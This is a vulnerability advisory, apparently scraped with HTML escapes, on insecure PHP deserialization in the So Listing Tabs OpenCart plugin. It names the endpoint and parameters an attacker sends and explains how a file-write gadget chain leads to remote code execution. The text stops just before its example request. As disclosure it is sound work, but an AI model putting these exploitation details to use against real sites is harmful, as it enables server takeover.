[-] Affected Versions:<\/p>\n
Version 2.2.0 is affected, and prior versions are likely affected too.<\/p>\n
[-] Vulnerabilities Description:<\/p>\n
Vulnerable component is switching to another tab. To exploit
\nvulnerability, an attacker may send a POST request (with
\napplication\/x-www-form-urlencoded content-type) to AJAX endpoint
\n(usually “\/index.php”) with “is_ajax_listing_tabs” parameter set to
\n“1” and “setting” parameter containing a PHP-serialized object,
\nwhich would be deserialized at server-side. Gadget-chains based on PHP
\nserver-side code can be used to gain remote code execution, file
\nwrite, DOS, etc.<\/p>\n
So Listing Tabs is an Opencart plugin, so the Opencart PHP classes are
\navailable in webapp lifecycle. In source code of Opencart there is a PHP
\ngadget-chain which allows to write a file to the server.
\nUsing this gadget, an attacker can write .php files with PHP code inside
\napp’s web root and then execute it via requesting them, thus gaining
\nremote code
\nexecution, which makes insecure deserialization in So Listing Tabs
\nespecially dangerous. Ability to write files can also be used to DOS the
\nsystem by writing large files and exhausting disk space, it can be used to
\nperform XSS attacks by creating HTML files inside web root.<\/p>\n
Here is an example of request which will write PHP file on server
\nin \/tmp directory:<\/p>\n
